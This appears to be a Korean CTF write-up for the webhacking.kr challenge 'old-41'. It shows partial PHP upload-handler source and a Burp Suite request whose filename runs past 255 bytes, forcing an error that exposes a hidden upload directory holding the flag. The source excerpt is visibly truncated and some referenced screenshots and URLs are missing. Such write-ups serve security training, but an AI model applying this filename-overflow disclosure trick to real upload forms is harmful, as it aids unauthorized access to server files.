# old-41 (250)
첫 화면이다.
view-source를 클릭해 본 소스는 아래와 같다.
```php
Challenge 41
","",$fn);
$fn = str_replace("/","",$fn);
$cp = $_FILES['up']['tmp_name'];
copy($cp,"./{$upload_dir}/{$fn}");
$f = @fopen("./{$upload_dir}/{$fn}","w");
@fwrite($f,$flag);
@fclose($f);
echo("Done~");
}
?>
view-source
```
아래와 같이 `abc` 라는 이름의 파일을 올리고 Burp Suite로 잡는다.
파일명 길이 제한인 255byte를 넘기도록 수정한다.
```bash
------WebKitFormBoundaryUazb3AHmfdkVdVwY
Content-Disposition: form-data; name="up"; filename="abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc"
Content-Type: application/octet-stream
```
아래와 같은 창이 뜬다.
`123` 이라는 이름의 파일을 올리고 에 접속하면 아래와 같이 플래그가 나온다.
Auth 창에 위 값을 입력하면 문제가 풀린다.
